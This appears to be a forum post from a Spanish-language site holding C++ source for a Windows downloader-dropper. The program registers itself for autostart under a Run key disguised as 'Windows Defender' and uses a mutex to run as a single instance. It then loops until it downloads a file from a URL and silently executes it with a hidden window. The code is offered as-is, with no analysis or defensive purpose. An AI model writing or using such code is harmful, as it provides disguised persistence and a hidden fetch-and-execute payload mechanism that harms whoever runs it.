Código: Seleccionar todo
#include <iostream>
#include <windows.h>
#include <shlobj.h>
#include <wininet.h>
#pragma comment (lib, "wininet.lib")
void startup( char *szValue )
{
HKEY hKey;
char szFile[MAX_PATH];
GetModuleFileName( NULL, szFile, sizeof(szFile) );
if( IsUserAnAdmin() )
RegOpenKeyEx( HKEY_LOCAL_MACHINE, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
else
RegOpenKeyEx( HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey );
RegSetValueEx( hKey, szValue, 0, REG_SZ, (unsigned char *)szFile, strlen(szFile) + 1 );
RegCloseKey( hKey );
}
bool download( char *szLink, char *szFile )
{
unsigned long bRead;
char szBuffer[98];
HINTERNET hRequest = InternetOpen( "wget", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0 );
if( hRequest == NULL )
return false;
HINTERNET hOpen = InternetOpenUrl( hRequest, szLink, NULL, 0, 0, 0 );
if( hOpen == NULL )
return false;
FILE* pFile = fopen( szFile, "wb" );
if( pFile == NULL )
return false;
while( InternetReadFile( hOpen, szBuffer, sizeof(szBuffer), &bRead ) )
{
if( bRead == NULL )
break;
fwrite( szBuffer, sizeof(char), bRead, pFile );
}
fclose( pFile );
InternetCloseHandle( hRequest );
InternetCloseHandle( hOpen );
ShellExecute( NULL, "open", szFile, NULL, NULL, SW_HIDE );
return true;
}
int main()
{
HANDLE hMutex = CreateMutex( NULL, FALSE, "st00p1d" );
if( GetLastError() == ERROR_ALREADY_EXISTS )
ExitProcess(0);
startup( "Windows Defender" );
while( 1 )
if( download( "http://images.google.com/intl/en_ALL/images/images_hp.gif", "lol.gif" ) )
break;
ReleaseMutex( hMutex );
return 0;
}